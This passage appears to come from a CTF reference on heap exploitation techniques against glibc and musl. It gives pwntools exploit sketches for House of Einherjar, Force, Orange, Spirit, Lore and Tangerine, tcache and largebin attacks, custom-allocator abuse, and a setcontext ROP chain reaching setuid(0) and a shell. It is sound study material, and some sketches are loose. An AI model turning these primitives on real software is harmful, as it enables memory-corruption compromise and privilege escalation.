is relative to RDX in all\n# versions (2.28 and 2.39 alike) — RSP from [rdx+0xa0],\n# RIP from [rdx+0xa8], RDI (first argument) from [rdx+0x68].\n# (fp->_wide_data reaches setcontext as RDI via _IO_wdoallocbuf, but the\n# register loads inside __setcontext itself use RDX.)\n# Place ROP chain at _wide_data structure:\nfake_wide_data = flat({\n 0x18: p64(0), # _IO_write_base = 0\n 0x30: p64(0), # _IO_buf_base = 0\n 0x68: p64(0), # RDI = 0 (for setuid(0))\n 0xa0: p64(rop_chain_addr), # RSP = pivot to ROP chain\n 0xa8: p64(libc.sym.setuid), # RIP = setuid as first call\n 0xe0: p64(fake_wide_vtable_addr), # _wide_vtable\n})\n\n# ROP chain at rop_chain_addr:\nrop = flat([\n pop_rdi_ret,\n libc.address + 0, # After setuid(0) returns here\n # ... additional setup ...\n libc.sym.system,\n next(libc.search(b\"/bin/sh\\x00\")),\n])\n```\n\n**Trigger chain:** `exit()` → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `setcontext(fp)` → stack pivot → `setuid(0)` → `system(\"/bin/sh\")`.\n\n**Key insight:** `setcontext` is a universal stack pivot gadget — it loads RSP, RDI, and RIP from controlled memory, enabling arbitrary ROP execution from a FILE-based exploit. Essential for SUID binaries where dash enforces `uid == euid`.\n\n---\n\n## House of Einherjar — Off-by-One Null Byte (0xFun 2026)\n\n**Vulnerability:** Off-by-one NUL at end of `malloc_usable_size` clears `PREV_INUSE` of next chunk.\n\n**Exploit chain:**\n1. Set `prev_size` of next chunk to create fake backward consolidation\n2. Forge largebin-style chunk with `fd/bk` AND `fd_nextsize/bk_nextsize` all pointing to self (passes `unlink_chunk()`)\n3. After consolidation, overlapping chunks enable tcache poisoning\n4. Overwrite `stdout` or `_IO_list_all` for FSOP\n\n**Key requirement:** Self-pointing unlink trick is essential. The fake chunk must pass `unlink_chunk()` which checks `FD->bk == P && BK->fd == P` and (for large chunks) `fd_nextsize->bk_nextsize == P && bk_nextsize->fd_nextsize == P`:\n\n```python\n# Fake chunk layout (at known heap address fake_addr):\n# chunk header:\n# prev_size: don't care\n# size: target_size | PREV_INUSE (must match consolidation math)\n# fd: fake_addr (self-referencing)\n# bk: fake_addr (self-referencing)\n# fd_nextsize: fake_addr (self-referencing, needed for large chunks)\n# bk_nextsize: fake_addr (self-referencing)\n\nfake_chunk = flat({\n 0x00: p64(0), # prev_size\n 0x08: p64(target_size | 1), # size with PREV_INUSE set\n 0x10: p64(fake_addr), # fd -> self\n 0x18: p64(fake_addr), # bk -> self\n 0x20: p64(fake_addr), # fd_nextsize -> self\n 0x28: p64(fake_addr), # bk_nextsize -> self\n}, filler=b'\\x00')\n\n# Victim chunk's prev_size must equal distance from fake_chunk to victim\n# Off-by-one NUL clears victim's PREV_INUSE bit\n# free(victim) triggers backward consolidation: merges with fake_chunk\n# Result: consolidated chunk overlaps other live allocations\n```\n\n**Setup sequence:**\n1. Allocate chunks A (large, will hold fake chunk), B (filler), C (victim with off-by-one)\n2. Write fake chunk into A with self-referencing pointers\n3. Trigger off-by-one on C to clear B's PREV_INUSE and set B's prev_size\n4. Free B → consolidates backward into A → overlapping chunk\n5. Allocate over the overlap region to control other live chunks\n\n---\n\n## Heap Exploitation\n\n- tcache poisoning (glibc 2.26+)\n- fastbin dup / double free\n- House of Force (old glibc)\n- Unsorted bin attack\n- Check glibc version: `strings libc.so.6 | grep GLIBC`\n\n**Heap info leaks via uninitialized memory:**\n- Error messages outputting user data may include freed chunk metadata\n- Freed chunks contain libc pointers (fd/bk in unsorted bin)\n- Missing null-termination in sprintf/strcpy leaks adjacent memory\n- Trigger error conditions to leak libc/heap base addresses\n\n**Heap feng shui:**\n- Arrange heap layout by controlling allocation order/sizes\n- Create holes of specific sizes by allocating then freeing\n- Place target structures adjacent to overflow source\n- Use spray patterns with incremental offsets (e.g., 0x200 steps)\n\n### Heap Grooming via Application Operations (Codegate 2013)\n\n**Pattern:** Multi-step application-level operations (create/reply/delete in a board, forum, or note app) to achieve controlled heap state for exploitation.\n\n**Technique:**\n1. Create N entries with overflow payloads in author/title/content fields\n2. Fill reply buffers for each entry (e.g., 127 replies of `\"sh\"`) to place controlled data at predictable heap locations\n3. Selectively delete entries to create specific heap holes\n4. Allocate new entries that land in freed chunks, overlapping with surviving metadata\n\n```python\n# Example: Codegate 2013 Vuln 400 — board-based heap grooming\n# Step 1: Create 7 posts with overflow in content field\nfor i in range(7):\n create_post(\"YOLO\", \"YOLO\",\n \"A\" * 36 + pack(\"I\", got_addr) + # Author overflow\n \"A\" * 604 + pack(\"I\", got_addr) + # Content overflow\n pack(\"I\", plt_addr) * 80) # Spray GOT targets\n\n# Step 2: Fill reply buffers to heap-spray \"sh\" strings\nfor i in range(7):\n for j in range(127):\n reply_to_post(i, \"sh\")\n\n# Step 3: Delete 5 of 7 to create specific heap holes\nfor i in [0, 1, 2, 3, 4]:\n delete_post(i)\n\n# Step 4: Allocate 2 new entries into freed space\ncreate_post(payload_a, payload_b, payload_c)\ncreate_post(payload_d, payload_e, payload_f)\n\n# Step 5: Trigger via modify + delete sequence\nmodify_post(target_id, trigger_payload)\ndelete_post(target_id) # Triggers GOT overwrite → shell\n```\n\n**Key insight:** Application operations (create, reply, delete, modify) map to heap allocations and frees of predictable sizes. By controlling the sequence and count of operations, you achieve the same effect as direct heap manipulation but through the application's own interface.\n\n## Custom Allocator Exploitation\n\nApplications may use custom allocators (nginx pools, Apache apr, game engines):\n\n**nginx pool structure:**\n- Pools chain allocations with destructor callbacks\n- `ngx_destroy_pool()` iterates cleanup handlers\n- Overflow to overwrite destructor function pointer + argument\n- When pool freed, calls `system(controlled_string)`\n\n**General approach:**\n1. Reverse engineer allocator metadata layout\n2. Find destructor/callback pointers in structures\n3. Overflow to corrupt pointer + first argument\n4. Trigger deallocation to call controlled function\n\n```python\n# nginx pool exploit pattern\npayload = flat({\n 0x00: cmd * (0x800 // len(cmd)), # Command string\n 0x800: [libc.sym.system, HEAP + OFF] * 0x80, # Destructor spray\n 0x1010: [0x1020, 0x1011], # Pool metadata\n 0x1010+0x50: [HEAP + OFF + 0x800] # Cleanup handler ptr\n}, length=0x1200)\n```\n\n### talloc Pool Header Forgery for Arbitrary Read/Write (Boston Key Party 2016)\n\n**Pattern:** talloc is a hierarchical memory allocator (used in Samba, CUPS, etc.). Forge fake pool headers with controlled fields to redirect allocations to arbitrary addresses.\n\n```c\n// talloc pool header fields: end, object_count, hdr_fill\n// followed by talloc_chunk: next, prev, parent, child, refs, name, size, flags, pool\n// Set pool boundaries to span target address\n// Next allocation returns attacker-controlled address\n// Read GOT for libc leak, write __free_hook with system()\n```\n\n**Exploitation steps:**\n1. Leak heap address through application data\n2. Forge talloc pool header with `end` pointing past target address\n3. Next `talloc()` call returns memory at attacker-chosen location\n4. Use arbitrary read (GOT) for libc leak, arbitrary write for hook overwrite\n\n**Key insight:** Custom allocator pool metadata controls where future allocations land. When applications use talloc, pool header forgery provides arbitrary memory placement. The hierarchical parent/child structure means corrupting one header cascades through the allocation tree.\n\n**References:** Boston Key Party 2016\n\n## Classic Heap Unlink Attack (Crypto-Cat)\n\n**When to use:** Old glibc (\u003c 2.26, no tcache) or educational heap challenges. Overflow one heap chunk's metadata to corrupt the next chunk's `prev_size` and `size` fields, then trigger an unlink during `free()` that writes an arbitrary value to an arbitrary address.\n\n**How dlmalloc unlink works:**\n```c\n// When free() consolidates with an adjacent free chunk:\n// FD = P->fd, BK = P->bk\n// FD->bk = BK (write BK to FD + offset)\n// BK->fd = FD (write FD to BK + offset)\n// This is a write-what-where primitive\n```\n\n**Exploit pattern:**\n1. Allocate two adjacent chunks (A and B)\n2. Overflow A's data into B's chunk header:\n - Set B's `prev_size` to A's data size (fake \"previous chunk is free\")\n - Clear B's `PREV_INUSE` bit in `size` field\n - Craft fake `fd` and `bk` pointers in A's data area\n3. Free B → `free()` thinks A is also free, triggers backward consolidation → unlink on fake chunk\n\n```python\nfrom pwn import *\n\n# Fake chunk in A's data region\nfake_fd = target_addr - 0x18 # GOT entry - 3*sizeof(ptr)\nfake_bk = target_addr - 0x10 # GOT entry - 2*sizeof(ptr)\n\n# Overflow from A into B's header\npayload = p64(0) # fake prev_size for A\npayload += p64(data_size) # fake size for A (marks A as \"free\")\npayload += p64(fake_fd) # fd pointer\npayload += p64(fake_bk) # bk pointer\npayload += b'A' * (data_size - 32) # fill A's data\npayload += p64(data_size) # overwrite B's prev_size\npayload += p64(b_size & ~1) # overwrite B's size, clear PREV_INUSE bit\n\n# After free(B): target_addr now contains a pointer we control\n```\n\n**Modern mitigations:** glibc 2.26+ added safe-unlinking checks (`FD->bk == P && BK->fd == P`). For modern heaps, use tcache poisoning, House of Apple 2, or House of Einherjar instead.\n\n**Key insight:** The unlink macro performs two pointer writes. By controlling `fd` and `bk` in a fake chunk, you get a constrained write-what-where: each location gets the other's value. Classic use: overwrite a GOT entry with the address of a win function or shellcode.\n\n---\n\n## musl libc Heap Exploitation — Meta Pointer + atexit (UNbreakable 2026)\n\n**Pattern (atypical-heap):** Binary linked against musl libc (not glibc). musl's allocator uses `meta` structures instead of chunk headers. OOB read leaks `meta->mem` pointer; arbitrary write redirects allocation to controlled address.\n\n**musl allocator layout:**\n- Each allocation belongs to a `group`, managed by a `meta` struct\n- `meta->mem` points to the group's data region\n- First `0x70`-class allocation places `meta0->mem` at a fixed offset from PIE base (e.g., `chall_base + 0x3f20`)\n\n**Exploitation chain:**\n1. **Leak meta pointer** — OOB read at offset `0x80` from a heap allocation reads the `meta` struct pointer\n2. **Recover PIE base** — `meta0->mem` is at a fixed offset from the binary base\n3. **Redirect allocation** — Overwrite `meta->mem` to point at a live group or target address. Next allocation from that group returns attacker-controlled memory\n4. **atexit hijack** — Overwrite musl's `atexit` handler list with `system(\"cat flag\")`. Normal program exit triggers code execution\n\n```python\n# Leak meta pointer via OOB read\nmeta_ptr = leak_at_offset(0x80)\npie_base = meta_ptr - 0x3f20 # fixed offset for first 0x70 allocation\n\n# Rewrite meta->mem to redirect future allocations\nwrite_at(meta_ptr + META_MEM_OFFSET, target_addr)\n\n# Next alloc returns target_addr — use to overwrite atexit handlers\nalloc_and_write(atexit_list_addr, system_addr, \"cat flag\")\n```\n\n**Key insight:** musl's allocator metadata (`meta` structs) is stored separately from heap data, but predictable offsets link them to the binary base. Unlike glibc, musl has no safe-linking or tcache — corrupting `meta->mem` gives direct allocation control. The `atexit` handler list is a simpler code execution target than glibc's `__free_hook` (which is removed in 2.34+).\n\n**Detection:** Binary uses musl libc (check `ldd`, or `strings binary | grep musl`). Menu-style heap challenges with read/write primitives.\n\n---\n\n## House of Orange\n\n**Pattern:** Trigger unsorted bin allocation without calling `free()`. Overwrite the top chunk size to a small value via heap overflow. Next large allocation fails the top chunk, forces `sysmalloc` to free the old top chunk into unsorted bin. Then corrupt the freed chunk for FSOP or tcache attack.\n\n```python\n# Step 1: Overflow to corrupt top chunk size\n# Top chunk must have PREV_INUSE set and size aligned to page\n# Size must be \u003c MINSIZE away from page boundary\nedit(0, b'A' * overflow_len + p64(0xc01)) # Fake small top chunk\n\n# Step 2: Request larger than corrupted top size\n# Forces sysmalloc → old top freed into unsorted bin\nadd(0x1000, b'B') # Triggers the free\n\n# Step 3: Unsorted bin attack or FSOP from here\n# Overwrite _IO_list_all via unsorted bin's bk pointer\n```\n\n**Key insight:** House of Orange creates a free chunk without ever calling `free()` — essential when the binary has no delete/free functionality. The corrupted top chunk size must satisfy: `(size & 0xFFF) == 0` (page-aligned end), `size >= MINSIZE`, and `PREV_INUSE` bit set.\n\n**Requirements:** Heap overflow that can reach top chunk metadata. glibc \u003c 2.26 for classic variant; modern versions need FSOP chain (House of Apple 2).\n\n---\n\n## House of Spirit\n\n**Pattern:** Forge a fake chunk in attacker-controlled memory (stack, .bss, or heap), then `free()` it to get it into a bin. Next allocation of that size returns the fake chunk, giving write access to the target area.\n\n```python\n# Forge fake fastbin chunk on the stack\n# Need valid size field and next chunk's size for validation\nfake_chunk = flat(\n 0, # prev_size\n 0x41, # size (0x40 + PREV_INUSE) — must match target fastbin\n 0, 0, 0, 0, 0, 0, # data area (8 qwords for 0x40 chunk)\n 0, # next chunk prev_size\n 0x41, # next chunk size (passes free() validation)\n)\n\n# Write fake chunk address somewhere the binary will free()\n# e.g., overwrite a pointer that gets passed to free()\noverwrite_ptr(target_ptr, addr_of_fake_chunk + 0x10)\n\n# Trigger free(target_ptr) → fake chunk enters fastbin\ntrigger_free()\n\n# Next malloc(0x38) returns our fake chunk → write to controlled area\nmalloc_and_write(0x38, payload)\n```\n\n**Key insight:** The key constraint is that `free()` validates the size of the chunk AND the size of the \"next\" chunk (at `chunk + size`). Both must look valid — sizes in fastbin range (0x20-0x80 on 64-bit), with proper alignment and flags.\n\n---\n\n## House of Lore\n\n**Pattern:** Corrupt a smallbin chunk's `bk` pointer to point to a fake chunk in attacker-controlled memory. When the smallbin is used for allocation, the fake chunk gets linked into the bin. A second allocation returns the fake chunk, giving arbitrary write.\n\n```python\n# Step 1: Free a chunk into smallbin (via unsorted bin → sorted)\nfree(chunk_a)\nmalloc(large_size) # Forces sorting: chunk_a moves to smallbin\n\n# Step 2: Forge fake chunk in target area\n# fake->fd must point back to the real smallbin chunk\n# fake->bk must point to another valid-looking chunk (or same)\nfake = flat(\n 0, 0x91, # prev_size, size\n addr_of_real_chunk, # fd → points back to legitimate chunk\n addr_of_fake2, # bk → another fake or self\n)\n\n# Step 3: Overwrite chunk_a->bk to point to our fake chunk\nedit_freed_chunk(chunk_a, bk=addr_of_fake)\n\n# Step 4: Two allocations from this smallbin\nalloc1 = malloc(0x80) # Returns chunk_a (legitimate)\nalloc2 = malloc(0x80) # Returns our fake chunk → arbitrary write!\n```\n\n**Key insight:** Requires corrupting `bk` of a freed smallbin chunk. The fake chunk's `fd` must point back to a chunk whose `bk` points to the fake — glibc checks `victim->bk->fd == victim`. On older glibc this check is weaker.\n\n---\n\n## House of Force (CSAW CTF 2016)\n\n**Pattern:** Overwrite the wilderness (top) chunk's size field with a large value (e.g., `0xffffffffffffffff`), then request a carefully calculated allocation to move the heap pointer to an arbitrary address (e.g., GOT table).\n\n```python\nfrom pwn import *\n\nelf = ELF('./target')\nlibc = ELF('./libc.so.6')\n\n# Step 1: Overflow into top chunk header, set size to -1 (0xffffffffffffffff)\nadd_card(-1, b'A' * 24 + p64(0xffffffffffffffff))\n\n# Step 2: Calculate distance from top chunk to target (e.g., GOT entry)\n# evil_size = target_address - current_top_chunk_ptr - metadata_size\ntarget = elf.got['strtol']\nevil_size = target - 16 - top_chunk_ptr\n\n# Step 3: Allocate evil_size to advance top chunk pointer to target\nadd_card(evil_size - 25, b'')\n\n# Step 4: Next allocation overlaps the target - write desired value\n# Overwrite strtol@GOT with system() address\nadd_card(100, p64(libc.symbols['system']))\n\n# Step 5: Trigger - next call to strtol(user_input) calls system(user_input)\nio.sendline(b'/bin/sh')\n```\n\n**Key insight:** House of Force requires: (1) overflow into the top chunk to control its size field, (2) a single malloc of attacker-controlled size to position the heap, (3) a subsequent allocation at the target address. Works on glibc \u003c 2.29 where top chunk size validation was added.\n\n---\n\n## tcache Stashing Unlink Attack\n\n**Pattern:** Exploit tcache's interaction with smallbin during `malloc()`. When tcache for a size is not full, `malloc()` from smallbin will \"stash\" remaining smallbin chunks into tcache. During stashing, the `bk` pointer is followed without full validation, allowing arbitrary address to be linked into tcache.\n\n```python\n# Setup: Need 7 chunks in tcache (to later drain) + 2 in smallbin\n# The 2nd smallbin chunk has corrupted bk → target address\n\n# Step 1: Fill tcache with 7 chunks, then free 2 more into smallbin\nfor i in range(7):\n free(tcache_chunks[i])\n# These two go to unsorted → smallbin after sorting\nfree(smallbin_chunk_1)\nfree(smallbin_chunk_2)\nmalloc(large) # Sort unsorted bin → chunks enter smallbin\n\n# Step 2: Drain tcache\nfor i in range(7):\n malloc(target_size)\n\n# Step 3: Corrupt smallbin_chunk_2->bk to point to (target_addr - 0x10)\n# target_addr - 0x10 because tcache stores user data pointer at chunk+0x10\nedit_after_free(smallbin_chunk_2, bk=target_addr - 0x10)\n\n# Step 4: Allocate from smallbin\n# malloc returns smallbin_chunk_1\n# Stashing mechanism follows bk chain:\n# smallbin_chunk_2 gets stashed into tcache\n# Then follows corrupted bk → target gets stashed into tcache too!\nmalloc(target_size)\n\n# Step 5: Next two mallocs: first returns smallbin_chunk_2, second returns target\nmalloc(target_size) # Returns chunk_2\nmalloc(target_size) # Returns target_addr → arbitrary write!\n```\n\n**Key insight:** During stashing, glibc sets `bck->fd = bin` (where `bck = victim->bk`), effectively writing a main_arena pointer to `target_addr`. This is a powerful write-what-where primitive. The written value is a heap/libc address (not fully controlled), but it's enough to corrupt FILE structures, tcache metadata, or other heap state.\n\n**Requirements:** glibc 2.29+ (tcache + smallbin interaction). Ability to corrupt a freed smallbin chunk's `bk` pointer.\n\n---\n\n## Unsafe Unlink to BSS + Top Chunk Consolidation (SECCON 2016)\n\n**Pattern:** After a classic unsafe unlink writes a self-referential pointer into a BSS note table, craft a second fake chunk in BSS whose size spans from the BSS address to the heap's top chunk: `size = (heap_top_addr - bss_fake_addr) | PREV_INUSE`. Freeing this fake chunk consolidates it with the top chunk, effectively relocating the heap's allocation base into BSS. Subsequent malloc calls return memory overlapping the global pointer table, granting arbitrary read/write.\n\n```python\n# Step 1: Unsafe unlink places self-pointer at bss_table[3]\n# Fake chunk: fd = &bss_table[3] - 0x18, bk = &bss_table[3] - 0x10\nadd_memo(248, p64(0) + p64(0) + p64(bss_table + 0x100 + 8 - 24) +\n p64(bss_table + 0x100 + 8 - 16) + b'A' * 208 + p64(prev_size))\n\n# Step 2: Fake BSS chunk with size spanning to top chunk\nfake_size = heap_base + 0x310 - bss_addr + 0x1 # | PREV_INUSE\nedit_memo(3, b'A' * (256-32) + p64(prev_size) + p64(fake_size) + b'A' * 15)\ndelete_memo(1) # consolidation moves top chunk to BSS\n\n# Step 3: malloc now returns BSS memory — overwrite global pointers\nadd_memo(size, p64(environ_addr)) # write &environ into note slot\n# read_memo leaks stack address from environ\n```\n\n**Key insight:** Standard unsafe unlink gives a single write primitive. This variant extends it to full arbitrary read/write by weaponizing the top chunk consolidation: any subsequent `malloc` returns BSS-overlapping memory, turning one write into unlimited controlled allocations within the global data segment.\n\n## Largebin Attack — Dedicated Technique (TravelGraph / Setjmp 2024)\n\n**When to use:** glibc 2.30+ with heap overflow / UAF that can corrupt a largebin chunk's `bk`, `bk_nextsize`, or `fd_nextsize`. Variants abused in *TravelGraph (2024)* and *Setjmp (2024)* where tcache was full/isolated and only unsorted/largebin path was reachable.\n\n**Background — largebin structure:**\n```c\n// glibc malloc/malloc.c — malloc_chunk for large sizes (0x400+)\nstruct malloc_chunk {\n size_t prev_size;\n size_t size; // | PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA\n struct malloc_chunk *fd; // largebin doubly-linked list (insertion order)\n struct malloc_chunk *bk;\n struct malloc_chunk *fd_nextsize; // sorted by size (descending)\n struct malloc_chunk *bk_nextsize;\n};\n// Each largebin index holds chunks of a size range, sorted largest→smallest via fd_nextsize.\n```\n\n**Safe-unlink checks for largebins (glibc ≥ 2.30):**\n```c\n// _int_free / unlink_chunk validation — large chunks must pass both:\nif (chunksize(P) != prev_size(next_chunk(P))) abort();\nif (FD->bk != P || BK->fd != P) abort(); // fd/bk check\nif (FD_nextsize->bk_nextsize != P || BK_nextsize->fd_nextsize != P) abort(); // nextsize check\n```\n\n**bk_nextsize attack primitive:**\n\nDuring insertion of a new large chunk `victim` into a largebin where `victim->size` is not the largest:\n\n```c\n// malloc.c — insertion into largebin (simplified):\nif ((unsigned long)(size) \u003c (unsigned long)chunksize_nomask(bck->bk_nextsize->...))) {\n fwd = bck;\n bck = bck->bk_nextsize;\n fwd->bk_nextsize = bck->bk_nextsize; // arbitrary write if bck->bk_nextsize corrupted\n}\n```\n\nIf attacker corrupts a freed largebin chunk's `bk_nextsize` to `target - 0x20`, the assignment `fwd->bk_nextsize = victim` writes `victim` (heap address) to `*(target)`. With a second insertion, attacker can also corrupt `bk` to write `main_arena` address to `target`.\n\n**Classic Largebin Attack Steps (with safe-unlink bypass):**\n\n```python\nfrom pwn import *\n\n# 1. Allocate 2 large chunks (>0x400) that land in same largebin range\n# and a guard chunk to prevent consolidation.\na = malloc(0x428) # A -> will be freed to unsorted → largebin\nb = malloc(0x428) # B -> second largebin chunk (size differs by 0x10 to trigger branch)\nguard = malloc(0x28)\n\n# 2. Free A to unsorted, then trigger sort into largebin via large allocation\nfree(a)\nmalloc(0x500) # forces unsorted → largebin sorting; A now in largebin\n\n# 3. Forge fake chunk that passes safe-unlink inside A (self-pointing)\n# Required for any later unlink/consolidation — otherwise free(B) aborts.\nfake = flat({\n 0x00: p64(0),\n 0x08: p64(0x430 | 1),\n 0x10: p64(a_addr), # fd -> self\n 0x18: p64(a_addr), # bk -> self\n 0x20: p64(a_addr), # fd_nextsize -> self\n 0x28: p64(a_addr), # bk_nextsize -> self\n})\nedit(a, fake) # overflow/UAF writes fake metadata into freed A\n\n# 4. Corrupt B's bk_nextsize while B is still allocated or freed but not yet sorted\n# Goal: next largebin insertion writes heap addr to target (e.g., __free_hook, global array)\ntarget = free_hook - 0x20 # bk_nextsize write is at offset 0x28 → target-0x20\nedit(b, p64(0)*3 + p64(target)) # overwrite bk_nextsize field at +0x28\n\n# 5. Free B → unsorted → next malloc sorts both A and B into largebin\n# Insertion path follows corrupted bk_nextsize → writes heap addr to target\nfree(b)\nmalloc(0x500) # triggers largebin insertion → arbitrary heap write to target\n\n# 6. Follow-up: overwrite target with system / stack pivot\n# Second variant: corrupt bk (fd/bk path) to write libc main_arena to target+8\n```\n\n**Key requirements:**\n- Need at least 2 large chunks in same bin index but different sizes (so `size \u003c bck->bk_nextsize->size` branch is taken).\n- Need overflow/UAF to overwrite `fd/bk/fd_nextsize/bk_nextsize` before sorting.\n- Safe-unlink bypass: all four pointers of the fake chunk point to itself (self-referential). Real exploit does not need to pass unlink unless consolidation is triggered — pure largebin insertion only needs the `bk_nextsize` corruption, but any `free()` that consolidates must pass the full check.\n- glibc 2.32+ adds `safe-linking` for tcache but not for largebin `bk_nextsize` — the largebin nextsize pointers remain raw, making the primitive still viable in 2024 challenges.\n\n**TravelGraph / Setjmp (2024) takeaways:**\n- Both challenges isolated tcache (counts exhausted or `calloc` path) and forced unsorted/largebin path.\n- TravelGraph used a `Graph` object with `size` field adjacent to heap chunk metadata — overflow `size` to make chunk appear large, then largebin insertion overwrote a function pointer table.\n- Setjmp used `jmp_buf` as target: overwriting `__jmpbuf[6]` (saved RSP) via largebin `bk_nextsize` write gave RIP control on next `longjmp`.\n\n**Mitigations & detection:**\n- glibc 2.38 tightened `largebin` insertion: early abort if `bk_nextsize->fd_nextsize != bck`. Bypass requires the fake `bk_nextsize` chain to be a valid circular list (self-pointing satisfies).\n- Always check tcache counts first — if tcache bin is not full (count \u003c 7 on 2.39), `free()` goes to tcache, not unsorted/largebin. Drain tcache or use `calloc`-sized allocations to bypass (see tcache 2.39 note).\n\n---\n\n## tcache 2.39 Changes — Key, Count, and calloc\n\n**glibc 2.39 tcache layout (x86-64):**\n\n```c\ntypedef struct tcache_entry {\n struct tcache_entry *next; // +0x00: safe-linked (mangled)\n uintptr_t key; // +0x08: random tcache key (double-free detection)\n} tcache_entry;\n\ntypedef struct tcache_perthread_struct {\n uint16_t counts[TCACHE_MAX_BINS]; // +0x00: per-bin counts, 64 x 2 bytes = 0x80 bytes\n tcache_entry *entries[TCACHE_MAX_BINS]; // +0x80: heads (mangled next)\n} tcache_perthread_struct;\n// On 2.39, TCACHE_MAX_BINS=64, max count per bin = 7 (7 since 2.29, unchanged in 2.39)\n```\n\n**What 2.39 actually does (malloc/malloc.c, tag glibc-2.39):**\n- `key` at `+0x08` dates to 2.32, not 2.39. Double-free detection compares `e->key == tcache_key` in `_int_free` (malloc.c:4527) and walks the bin list to confirm before aborting. `tcache_key` is a process-wide `static uintptr_t` (malloc.c:3127-3128), seeded once from getrandom in `tcache_key_initialize` (malloc.c:3140-3152) — it is NOT per-thread and does NOT live in `tcache_perthread_struct`, so every thread shares the same key value.\n- `counts[]` is `uint16_t counts[TCACHE_MAX_BINS]` (malloc.c:3120): 64 entries x 2 bytes = 128 bytes, so `entries[]` starts at +0x80, not +0x40. Max count enforced as 7 — freeing an 8th chunk of the same size goes to fastbin/unsorted, not tcache. **Count = 7 is the hard limit on glibc 2.39 Ubuntu 24.04.**\n- **`calloc` bypasses tcache on 2.39:** `__libc_calloc` calls `_int_malloc` directly (malloc.c:3754) and never runs the tcache fast path, which lives only in `__libc_malloc` (malloc.c:3304-3327). `calloc` drawing from tcache is a glibc 2.41 change: `tcache_try_malloc` (defined malloc.c:3349, called from `__libc_calloc` at malloc.c:3795). On 2.39, `calloc` neither pops tcache chunks nor runs the key check.\n\n```python\n# tcache 2.39: key at +0x08 (process-wide), counts uint16_t, entries at +0x80, count 7, calloc bypasses tcache\n\n# Double-free detection (tcache_put):\n# e->key = tcache_key;\n# if (counts[bin] >= 7) goto fastbin;\n# if (e->key == tcache_key) abort(\"double free or corruption (out)\");\n\n# tcache_get (malloc):\n# e = entries[bin];\n# entries[bin] = REVEAL_PTR(e->next);\n# --counts[bin];\n\n# Safe-linked next: next = PROTECT_PTR(chunk_addr, target)\n# PROTECT_PTR(pos, ptr) = ptr ^ (pos >> 12)\n```\n\n**Double-free key detection bypass pattern:**\n\n```python\nfrom pwn import *\n\n# Scenario: UAF gives double-free on same chunk without intermediate malloc.\n# On 2.39, second free aborts if e->key already == tcache_key.\n\n# 1. Allocate and free once (key written, count=1)\np = malloc(0x40)\nfree(p) # chunk->key = tcache_key\n\n# 2. Reallocate (malloc pops from tcache, key field becomes user data)\nq = malloc(0x40) # same chunk, now allocated; key field is writable payload area\n# Overwrite key field at +0x08 to break detection\npayload = p64(0) + p64(0) # +0x00 next, +0x08 key = 0 (not equal to tcache_key)\nedit(q, payload)\n\n# 3. Free again — now e->key != tcache_key, so second free succeeds (no abort)\nfree(q) # bypassed!\n\n# 4. calloc is tcache-neutral on 2.39, tcache-aware on 2.41+:\n# On 2.39 calloc never pops tcache, so it cannot clear a stale key and a\n# double-free still aborts on the key check — use calloc as grooming that\n# leaves counts[] and keys untouched:\nfree(p) # after bypass, chunk is in tcache again with fresh key\nr = calloc(1, 0x40) # 2.39: fresh chunk via _int_malloc, tcache state unchanged\n# On 2.41+ calloc pops from tcache and zero-fills: if it reuses a chunk you\n# still hold a dangling pointer to, the in-memory key field is cleared to 0,\n# so a stale free passes the e->key != tcache_key fast check.\n\n# 5. Classic tcache poisoning after bypass:\n# Free -> edit fd (mangled) -> malloc -> malloc returns target\nfree(p)\nedit(p, p64((target ^ (p_addr >> 12)))) # mangle fd at +0x00\nmalloc(0x40) # pop p\nmalloc(0x40) # returns target → arbitrary write\n```\n\n**Key takeaways for CTF (2024+):**\n- Always consider `key at +0x08` when crafting fake tcache chunks — zero it or set to non-key value before second free.\n- Count 7: after 7 frees of same size, the 8th free leaks to unsorted/fastbin — useful to force largebin path (see Largebin Attack).\n- `calloc` bypasses tcache on 2.39 (through 2.40): challenge allocations via `calloc` never touch tcache state, which makes calloc handy for grooming without disturbing counts/keys. Starting with 2.41, `calloc` shares the tcache path (`tcache_try_malloc`), so tcache poisoning works through `calloc` too — but you must account for the implicit `memset(0)` clobbering the next/key fields.\n\n---\n\n## House of Tangerine — tcache Count + Unsorted Bin Variant\n\n**When to use:** glibc 2.39 (Ubuntu 24.04) where tcache count is 7 and `calloc` bypasses tcache (`__libc_calloc` goes straight to `_int_malloc`). House of Tangerine bridges tcache and unsorted bin to get arbitrary write without a direct overflow into `fd`.\n\n**Vulnerability requirements:** UAF or off-by-one that can corrupt the `counts[]` byte or leak heap, plus ability to allocate large chunks.\n\n**Core idea:**\n1. Fill tcache bin (count 7) for size `0x40` so next `free(0x40)` goes to unsorted bin instead of tcache.\n2. Use UAF to corrupt the tcache count byte for another size (or the same size) to `0xff`, allowing an extra `malloc` to underflow the count and later write out-of-bounds via tcache stash.\n3. Free a large chunk (>0x400) that lands in unsorted bin, then allocate to trigger largebin sorting that writes `main_arena` to a tcache `next` pointer.\n\n**Minimal exploit sketch:**\n\n```python\n# 1. Fill tcache 0x40 count to 7\nchunks = [malloc(0x40) for _ in range(8)]\nfor c in chunks[:7]:\n free(c) # tcache count = 7 (full)\nfree(chunks[7]) # 8th free → unsorted bin (not tcache)\n# chunks[7] now in unsorted with fd/bk = main_arena+...\n\n# 2. Corrupt tcache count for 0x40 to 0xff via UAF on tcache_perthread_struct\n# tcache_perthread_struct is allocated at heap base via first malloc\n# Overflow from adjacent chunk into counts[bin_index] byte\nedit(overflow_chunk, p16(0xffff)) # set count byte to large value\n\n# 3. Drain tcache to trigger stashing unlink (see tcache Stashing Unlink Attack)\n# Now malloc from largebin will stash remaining chunks into tcache,\n# and corrupted count allows writing main_arena pointer to arbitrary target\nfor _ in range(7):\n malloc(0x40)\n\n# 4. Corrupt unsorted chunk's bk to target-0x10\nedit(unsorted_chunk, bk=target-0x10)\nmalloc(0x40) # stashes bk → target gets linked into tcache → next malloc returns target\nmalloc(0x40)\npwn = malloc(0x40) # == target → arbitrary write (e.g., __free_hook / _IO_list_all)\n```\n\n**Why 2.39 matters:** On 2.39, `calloc` bypasses tcache, so House of Tangerine's `count` corruption can be stabilized with `calloc` allocations that don't affect counts. On 2.41+, `calloc` shares the tcache path and decrements the same `counts[]` entry, so the attacker must account for it or use `count 7` saturation to force the unsorted bin path explicitly.\n\n**References:** House of Tangerine — 2024 CTF, glibc 2.39 adaptation of House of Muney / tcache stash.\n\nFor CTF-specific UAF, tcache, and custom-allocator 